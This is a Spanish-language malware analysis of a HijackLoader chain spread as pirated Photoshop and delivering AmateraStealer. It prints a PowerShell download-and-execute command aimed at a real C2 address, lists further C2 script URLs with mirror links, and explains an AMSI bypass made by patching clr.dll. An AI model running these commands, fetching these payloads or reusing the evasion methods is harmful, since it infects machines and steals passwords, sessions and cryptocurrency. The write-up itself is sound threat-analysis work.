Análisis de HijackLoader (El "photoshop pirata")
Discord -> x3rox.imb && Telegram -> @x3rox4
Para @zunderrub -> https://www.youtube.com/@zunderrub
Primer vistazo - Ejecución controlada en un sandbox
En primer lugar, al ejecutar el malware en un sandbox como any.run (https://app.any.run/tasks/5e893340-8ac6-44b8-94f4-dfc8ae49f80b) se puede ver lo siguiente:

El malware lo primero que hace es comprobar que versión de Windows está iniciando el malware, posiblemente para intentar usar vulnerabilidades de escalada de privilegios en equipos desactualizados.
Luego de hacer esa comprobación ejecuta varios comandos de powershell que se encargan de verificar que el malware no esté siendo analizado en una maquina virtual, comprobando la memoria fisica de ram instalada para comprobar si no es una cantidad anomala (1GB, 2GB, 3GB)
Tras esta comprobación, el malware analiza el número de núcleos para internamente comprobar si el modelo del procesador oficialmente cuenta con esa cantidad de núcleos y en caso de no tenerlos darse cuenta de que se está iniciando en una maquina virtual
(Por ejemplo, si la máquina muestra que tiene un i9-9900k que oficialmente tiene 8 núcleos físicos pero el sistema reporta que únicamente hay 7 o menos núcleos físicos se deberá a que el virus se está ejecutando en una máquina virtual al no corresponder con un hardware real.)

Además el malware comprueba el fabricante del equipo que lo ejecuta para comprobar que no sea VMWare, Virtualbox, QEMU, etc.

Si todo lo anterior es correcto y el malware piensa que está en un hardware real procede a lanzar su segundo payload el cual lanza tres ejecutables, uno con un nombre aleatorio, otro con el nombre "VorOptimizer64.exe" y otro llamado "Crisp.exe"

En este segundo payload el ejecutable que más llama la atención es el VorOptimizer64.exe el cual lanza varios comandos de Powershell para comunicarse con la IP correspondiente al C2 del malware (192.109.200.63)
El primer comando realiza un bypass de la política de ejecución del sistema para luego lanzar una conexión HTTP por el puerto 80 a http://192.109.200.63/load.ps1 (Mirror: https://tinyurl.com/4fbz78up) y cargar el primer código malicioso en Powershell.
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create([IO.StreamReader]::new([Net.HttpWebRequest]::Create('http://192.109.200.63/load.ps1').GetResponse().GetResponseStream()).ReadToEnd()))"
Primer script - Load.ps1
Capa 1 del script - Código inutil.
La primera capa del código está llena de ruido y construcciones que no hacen prácticamente nada, pensadas solo para ofuscar y joder a quien lo analice (condiciones if ($false), bucles while ($null) y variables aleatorias). Aunque pueda parecer que se conecte a servicios normales de Microsoft (login y Windows update), en realidad nunca llega a realizar esas conexiones: las URLs solo forman parte de nombres de variables y no se usan en llamadas de red reales. El objetivo de esta primera capa del script es evadir soluciones de seguridad básicas (Windows Defender) y molestar a quien lo analice (Doy fé).

Captura de las primeras líneas del script load.ps1
Capa 2 - Payload Base64 encubierto
Cada una de esas variables "imposibles" de la primera capa guarda un fragmento de una cadena Base64. Hacia el final del script, todos los fragmentos se concatenan en orden dentro de $rhsgte y se ejecutan con
[Text.Encoding]::UTF8.GetString(
[Convert]::FromBase64String($rhsgte_joined)
) | &(Get-Command i*e-exp*) # i*e-exp* = Invoke-Expression (Patrón glob util para evadir el AMSI)
Al decodificar el Base64 encubierto se obtiene otro código Powershell.
(Script hecho rapidamente en python para decodificarlo a partir del load.ps1 original: https://tinyurl.com/467nzc7k)
function Get-ConsoleColor
{
[CmdletBinding()]
param(
)
Begin{
}
Process{
$Colors = [Enum]::GetValues([ConsoleColor])
foreach($Color in $Colors)
{
[pscustomobject] @{
ConsoleColor = $Color
}
}
}
End{
}
}
Get-ConsoleColor | Out-Null
Esta es una función completamente inofensiva que solo lista los colores de consola y los descarta con | Out-Null. El objetivo es el mismo que el código basura de la capa 1: Hacer perder el tiempo del que lo analice y ofuscar su comportamiento real al antivirus.
Capa 3 - Array de bytes + Base64 + XOR = Script del Second Stage
Ya dejando la ofuscación y las molestias a un lado, el payload real está oculto en $useByteArray, un array de bytes al final del script que combina codificación Base64 con cifrado XOR. La función reduceShowData lo desenrolla en cuatro pasos:
Toma todo el array de bytes (
$useByteArray)Decodifica en base64 su contenido dando un resultado encriptado en XOR
Descifra el XOR usando una clave hard-codeada en el mismo código (
u87hb5eg5g)Ejecuta el resultado interpretandolo como UTF-8 como un scriptblock:
& ([scriptblock]::Create($decryptedCode))

Declaración de la clave XOR que se empleará para desencriptar el script encargado del second stage

El array de bytes en cuestión
</h6>

La función encargada de decodificar, desencriptar y ejecutar todo el código
</h6>
Segundo script - Payload final del primer script.
(Script en python dedicado a desencriptar y decodificar todo el array de bytes igual que lo hace el script original: https://tinyurl.com/4dwhhjt6)
Tras trabajar con el array de bytes obtenemos el código de Powershell del payload final que lanza este primer script: https://tinyurl.com/anprhdhj
Capa 1 - Bypass del AMSI (Antimalware Scan Interface)
Windows tiene una interfaz llamada AMSI (Antimalware Scan Interface) que lo único que hace es actuar de intermediario entre Powershell y el antivirus que tenga el sistema. Cada vez que Powershell va a ejecutar un script, antes de ejecutar ni una sola línea, manda el contenido completo al antivirus a través de AMSI. Si el antivirus lo detecta como malicioso, la ejecución se detiene.
La forma clásica de bypassear el AMSI es modificar directamente la función
AmsiScanBufferen amsi.dll. Lo que pasa es que los antivirus modernos vigilan exactamente ese comportamiento.
Este script en Powershell emplea las APIs de .NET. Cuando PowerShell ejecuta código .NET, quien gestiona la llamada a AMSI es el motor de .NET, que es el CLR (Common Language Runtime), concretamente el archivo clr.dll. El CLR resuelve la función AmsiScanBuffer buscando ese nombre como una cadena de texto en su propia memoria. Si esa cadena no existe, el CLR no puede encontrar la función, la llamada falla silenciosamente y AMSI queda desactivado pero el código se seguirá ejecutando, ya que Microsoft decidió que fuese opcional por motivos de compatibilidad con versiones anteriores de Windows.
Esta primera capa del script hace lo siguiente:
1. Da permisos de escritura a la región del clr.dll si no los tiene
La región de clr.dll normalmente es de solo lectura o ejecución. Si no tiene PAGE_READWRITE, llama a VirtualProtect para cambiar temporalmente los permisos a PAGE_EXECUTE_READWRITE

2. Sobreescribir con ceros
Crea un array de bytes del mismo tamaño que la firma original (14 bytes) inicializado a cero (NULL bytes), y lo escribe exactamente en la posición donde encontró el patrón con el string "AmsiScanBuffer" en la memoria de este mismo proceso de Powershell:

3. Restaurar los permisos originales
Para no alertar a algún sistema EDR (Endpoint Detection Response) que pueda existir en el sistema el malware restaura los permisos que tenía antes.

De esta forma y como se explicó antes, el CLR no podrá encontrar la función AmsiScanBuffer, la llamada fallará y se desactivará completamente el AMSI, quitando esta capa de seguridad.
Capa 2 - Otra comprobación de Sandbox
El script define una variable llamada $expiryUnix = (timestamp unix actual) + 600 segundos y luego procede a mandar una petición usando el método HEAD a un dominio inofensivo y aleatorio de una lista que se encuentra hardcodeada en el código en base64. Luego de decodificar ese base64 la lista es google,microsoft,amazon,apple,facebook,netflix,adobe,oracle,ibm,cisco

Captura mostrando la función que elige el dominio de forma aleatoria
</h6>
Al realizar esta petición el servidor devolverá una respuesta que tenga en su contenido el valor del timestamp actual en formato UNIX dentro de la cabecera Date. El script comprueba que el timestamp entre el servidor y la maquina que lo esté ejecutando no tenga una diferencia de más de 10 minutos. Si es así, se tomará por hecho que el malware se está ejecutando en un entorno controlado y detendrá su ejecución. En caso de que el dominio escogido no responda se vuelve a escoger otro dominio.
Capa 3 - Persistencia con doble mecanismo
1. Programador de tareas
Busca el identificador de evento más frecuente en el log de Application dentro del programador de tareas de windows (para camuflarse entre eventos normales) y registra una tarea maliciosa llamada "Windows Perflog" que se dispara con ese identificador.

Esta tarea lo que hace es descargar y ejecutar otro script powershell alojado en http://192.109.200.63/event (Mirror: https://tinyurl.com/yjnnut49)
2. Clave de ejecución en el registro de windows
Usando un espacio de ejecución separado con historial desactivado (SaveNothing), escribe una clave de autoarranque bajo el nombre "Windows PowerShell v1.0" para camuflarse.
Esta otra clave descarga otro script powershell de http://192.109.200.63/regevent (Mirror: https://tinyurl.com/5bwrbncw)

Capa 4 - Ejecución del tercer script
Finalmente lanza un comando en powershell para ejecutar el tercer script de este malware alojado en http://192.109.200.63/reload (Mirror: https://tinyurl.com/mv36pkhr).

Tercer script - Reload.ps1
Este script es basicamente lo mismo que el primero. Lanza un script escondido tras un array de bytes codificado en base64 y encriptado con la misma clave de antes en XOR.

Captura enseñando que la única diferencia entre este script y el primero es el array de bytes que lanzará un script distinto.
</h6>
Cuarto script - Payload final del tercer script
Usando el mismo script de antes obtenemos este otro payload final de este script: https://tinyurl.com/5dre2ptf
Capa 1 - Reconocimiento del sistema
El código mediante la función Find-WritableLocations — usa SHGetKnownFolderPath (via P/Invoke de shell32.dll) para localizar carpetas con permisos de escritura: LocalAppData, RoamingAppData, ProgramData, TEMP, etc. El resultado se guarda en la variable $DllPath, lo que seguramente sea para luego soltar otro archivo malicioso.
Capa 2 - Compilación del shellcode en C
Analizando de forma dinámica este script en any.run (https://app.any.run/tasks/6c747258-d742-45d6-94a7-064f24cbf6c1) se puede ver que genera dos códigos en la carpeta C# C:\Users\%USERNAME%\AppData\Local\Temp con dos nombres aleatorios y que luego compila a formato .DLL. Posteriormente se borran todas las pruebas rapidamente.
Hice un programa de monitoreo que vigila los formatos que genera este script y cuando aparecen en la carpeta de antes se copian al escritorio antes de que se borren. (código de monitoreo: https://tinyurl.com/mr3rard2)
Comentario puesto al terminar todo el análisis: Revisando por última vez el cuarto script me dí cuenta de que todo este código estaba en texto plano dentro del código, no habría hecho falta analizarlo dinamicamente. No sé como no lo ví desde un principio.
Primer código https://tinyurl.com/htb48ytm

Captura del primer código.
</h6>
Este primer código simplemente se encarga de localizar directorios de usuario para staging o exfiltración de datos para el segundo código.
Segundo código https://tinyurl.com/yc8db98r
Este código se encarga principalmente de recibir el shellcode de la siguiente capa, convertirlo a bytes y escribirlo en cualquiera de los siguientes procesos víctima para pasar desapercibido y parecer un ejecutable real:
C:\Windows\System32\SecurityHealthHost.exe ; Tras bastantes pruebas este es el ejecutable por excelencia y que siempre le ha funcionado al malware
C:\Windows\System32\snmptrap.exe
C:\Windows\System32\SppExtComObj.Exe
Además, comprueba la existencia de algún software de Intel (Programa, driver, etc.) para ver si es una sandbox o no. La mayoría de ordenadores tienen algún software de Intel instalado ya sea para el procesador o tarjeta de red, audio, etc.
También declara las llamadas nativas al sistema operativo, aunque esta parte no tiene lógica propia y no es muy interesante.

Captura mostrando la comprobación que hace en busca de software de Intel.
</h6>

Captura con la lista de procesos víctimas.
</h6>
Capa 3 - Shellcode
En este script hay un shellcode en formato de bytes que tras procesarlo y exportarlo a un binario (Script para hacerlo -> https://tinyurl.com/3hvmkdb5) demuestra que tiene una entropia altísima de casi 8, lo que lleva a pensar que detrás de él hay datos o comprimidos o cifrados.

Haciendo debugging de este shellcode se ve que hace PEB Walking, una técnica común y avanzada en shellcodes que sirve para encontrar funciones del sistema sin usar la Import Table para ser independiente del PE y de imports, lo que es bastante util para evadir sistemas de antivirus al no apareces nombres de APIs internas en el binario.
Además, hacer PEB Walking permite que el shellcode se pueda inyectar en cualquier proceso de Windows x86. Por esto aparecen los ejecutables SecurityHealthHost.exe , snmptrap.exe y SppExtComObj.Exe en el código anterior, para cargar los DLLs enteros en memoria sin tener que escribir archivos, pasando desapercibido.
Usando scdbg vemos que destacan las siguientes instrucciones que confirman esto:

Captura donde se muestra el shellcode siendo debugeado en scdbg, donde el programa falla porque no reconoce bien el PEB ya que scdbg no simula el PEB en memoria.
</h6>
mov eax, [0x30] ; En realidad: mov eax, fs:[ecx+0x30] → eax = PEB (via TEB+0x30 en x86)
dec eax ; Parte del encoding para evitar null bytes (nada importante)
mov eax, [eax+0x60] ; → eax = PEB + 0x60 (campo ImageBaseAddress o alguno parecido)
dec eax ; La misma manipulación de encoding que antes
mov ecx, [eax+0x18] ; → ecx = campo a offset 0x18
Finalidad de todo esto
Resumidamente:
El tamaño es muy pequeño de más o menos unos 122 KB
Cuenta con una arquitectura x86
Cuenta con PEB Walking
Tiene una entropía de casi 8
Internamente no hay ningún PE visible
No hay strings claros quitando dos referencias
Estudiando el funcionamiento del shellcode y analizandolo con varios sistemas de antivirus llegué a la conclusión de que este malware es un AmateraStealer, un stealer que rebusca entre los archivos y roba la siguiente información:
Contraseñas guardadas en el navegador en texto plano
Cookies del navegador
Wallets de criptomonedas en la medida de lo posible si no tienen contraseña que las encripte (Exodus, Coinomi, etc.)
Información de autocompletado de los navegadores
Detalles específicos del sistema
Contenidos del portapapeles
Todo esto da la capacidad al atacante de hacer ataques de session hijacking y accounts takeovers (ATOs) además de robar todo el dinero posible de la víctima. Toda esta información se manda posteriormente al C2 visto anteriormente. (192.109.200.63)
Conclusión
Los scripts event.ps1 y regevent.ps1 eran practicamente lo mismo en cuanto funcionamiento, por lo que no los voy a considerar muy relevantes al ser únicamente de persistencia en el equipo para repetir todos los ataques mencionados anteriormente.
En conclusión, esta variante de HijackLoader es un loader bastante sofisticado que se centra principalmente en pasar desapercibido y en confundir tanto a los antivirus como a los investigadores.
En lugar de actuar de inmediato, el malware prioriza un reconocimiento del sistema y analiza el entorno objetivo. En resumen, se caracteriza por lo siguiente:
Evasión constante: Comprueba bastantes veces si está en una máquina virtual o sandbox revisando la RAM, los núcleos del procesador e incluso los tiempos de respuesta para asegurarse de que el equipo es un equipo real y no una sandbox.
Bypass y ofuscación: Desactiva el AMSI parcheando directamente el clr.dll en memoria, abusa de PowerShell y esconde sus payloads bajo múltiples capas de Base64, XOR y código basura.
Inyección y sigilo: El shellcode final recurre al PEB Walking para no dejar rastros en la Import Table y se inyecta en procesos legítimos de Windows, todo esto para evadir cualquier tipo de protección.
Todo este esfuerzo para colar el AmateraStealer de la forma más silenciosa posible. Todo esto al final lleva a un control total del equipo por parte del atacante que acaba en un posible robo de contraseñas, secuestro de sesiones y vaciado de wallets de criptomonedas.
\
Referencias:
https://www.reddit.com/r/PiratedGames/comments/1ratll0/suspicious_registry_from_steamrip/?tl=es-419
https://x.com/rst_cloud/status/1980974291786084561
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#Patching-Clr
https://forums.malwarebytes.com/topic/333342-a-way-to-sort-the-malware-that-was-infecting-my-pc/
https://practicalsecurityanalytics.com/new-amsi-bypss-technique-modifying-clr-dll-in-memory/
https://www.pcmag.com/news/malware-hidden-in-pirated-games-infects-400000-devices
https://threatfox.abuse.ch/asn/51396/
Información adicional:
https://www.cyderes.com/howler-cell/renengine-loader-hijackloader-attack-chain